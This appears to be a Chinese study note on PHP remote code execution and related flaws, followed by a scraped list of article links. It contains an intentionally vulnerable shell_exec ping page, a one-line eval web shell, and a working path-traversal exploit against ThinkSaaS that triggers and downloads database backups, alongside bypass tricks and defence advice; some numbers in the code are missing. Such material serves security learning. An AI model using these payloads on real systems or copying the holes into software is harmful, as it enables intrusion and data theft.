RCE

RCE函数
eval、preg_replace + /e模式、assertJavascript:evalVbscript: Execute、EvalPython:exec
<?php include($_SERVER['DOCUMENT_ROOT'].'/btslab/header.php'); ?>
<br/><b>Ping:</b>Please Enter Domain Name or IP Address: <br/><br/>
<form action="cmd.php" method="get">
<input type="text" name="host" value=""/>
<br/><br/><input type="submit" name="Go" value="Go"/>
</form>
<br/> <?php
if(isset($_GET['host']))
{
if(strtoupper(substr(PHP_OS, , )) === 'WIN')
{
$result=shell_exec("ping ".$_GET['host']);
}
else
{
$result=shell_exec("ping -c 4 ".$_GET['host']);
} echo "<b>Result:</b></br><pre>".$result."</pre>";
}
?> <?php include($_SERVER['DOCUMENT_ROOT'].'/btslab/footer.php'); ?>
<?php
eval($_REQUEST['code']);
?>

 LFI -》 备份文件下载

<?php
//插件条件入口
defined('IN_TS') or die('Access Denied.');
if(is_file('plugins/'.$app.'/'.$plugin.'/'.$in.'.php')){
require_once('plugins/'.$app.'/'.$plugin.'/'.$in.'.php');
}else{
tsNotice('sorry:no plugin!');
} defined('IN_TS') or die('Access Denied.');
switch($ts){
case "": //输出备份文件
$arrSqlFile = tsScanDir('data/baksql','file'); include template('sql');
break; //优化
case "optimize":
$arrTables = $db->fetch_all_assoc("SHOW TABLES");
foreach($arrTables as $key=>$item){
$db->query("OPTIMIZE TABLE `".$item."` ");
}
qiMsg('优化数据库成功!');
break; //备份导出
case "export": require_once 'thinksaas/DbManage.php';
$bakdb = new DBManage ( $TS_DB['host'].':'.$TS_DB['port'], $TS_DB['user'], $TS_DB['pwd'], $TS_DB['name'], 'utf8' );
$bakdb->backup ('','data/baksql/'); qiMsg('数据库备份完毕!'); break; ?php
date_default_timezone_set('Asia/Hong_Kong');
$url = "http://192.168.116.129/thinksaas/index.php?app=user&ac=plugin&plugin=face&in=my5t3ry/../../../../app/system/action/sql&ts=export";
file_get_contents($url);
$time = date('YmdHis');
for($i = $time; $i <= $time + ; $i++){
$filename = $i ."_all_v1.sql";
$url = "http://192.168.116.129/thinksaas/data/baksql/".$filename;
if (@file_get_contents($url, null, null, -, )){
echo $url;
}
}
?>

php绕过MD5 - 科学计数法绕过

php绕过MD5 - 数组全等绕过

PHP版本漏洞

PHP5..x     00截断        例如url输入的文件名1.txt%.jpg经过url转码后会变为1.txt\.jpg    

反序列化

常见魔术方法 
__construct()__destruct()__call()__callStatic()__get()__set()__isset()__unset()__sleep()__wakeup()__toString()__invoke()__set_state()__clone(),
__debugInfo() 

逻辑判断
-
CVE-2016-7124(__wakeup()魔术方法绕过)  漏洞影响版本:PHP5 < 5.6.25 | PHP7 < 7.0.1
框架反序列化
Joomla反序列化漏洞

框架漏洞

thinkphp    thinkphp5远程代码执行漏洞
修复 - 》 ThinkPHP .0系列升级到 5.0. ,ThinkPHP .1系列升级到 5.1.

RCE - 防御

防御
. 尽量少用执行命令的函数或者直接禁用
. 参数值尽量使用引号包括
. 在使用动态函数之前,确保使用的函数是指定的函数之一
. 在进入执行命令的函数/方法之前,对参数进行过滤,对敏感字符进行转义
. 能使用脚本解决的工作,不要调用其他程序处理。尽量少用执行命令的函数,并在disable_functions中禁用
. 对于可控点是程序参数的情况下,使用escapeshellcmd函数进行过滤,对于可控点是程序参数值的情况下,使用escapeshellarg函数进行过滤
. 参数的值尽量使用引号包裹,并在拼接前调用addslashes进行转义
而针对由特定第三方组件引发的漏洞,我们要做的就是及时打补丁,修改安装时的默认配置

最新文章

  1. 通过扩展让ASP.NET Web API支持W3C的CORS规范
  2. extJs学习基础5 理解mvvm的一个小案例
  3. 【py】配置python环境
  4. hdu 1226 超级密码(bfs+余数判重)
  5. Mail搭建
  6. time wait duo
  7. mig_ddr4_ultrascale
  8. 【iOS】iOS之Button segue弹出popOver消除(dismiss)问题
  9. Regular expression cheat sheet
  10. OC 数组
  11. 识别Andriod APK签名证书类型
  12. hdu 3415 Max Sum of Max-K-sub-sequence(单调队列)
  13. iOS开发 改变UINavigationController的UINavigationBar的高度和背景图片
  14. IE浏览器兼容的常见问题及解决方案
  15. nodejs操作 mongoose(mongodb)和Sequelize(mysql)查询数据后添加新属性未生效
  16. Delphi Exif
  17. java_GPS数据处理
  18. oracle的DBMS_JOB相关知识
  19. Jenkins持久化集成使用
  20. Spring中默认bean名称的生成策略/方式修改

热门文章

  1. elasticsearch——Rest Client
  2. ise和quartus共用仿真软件
  3. FPGA引脚锁定 注意err和高阻状态
  4. fpga新建nios
  5. 1121. Damn Single (25)
  6. GUI学习之十三——QPlainTextEdit学习总结
  7. thinkphp5 yii2 laravel5.1 框架性能压测对比图
  8. Azure IoT 技术研究系列4
  9. vue根据路由判断所在的内容
  10. 使用 flex 弹性布局 ,相关教程记录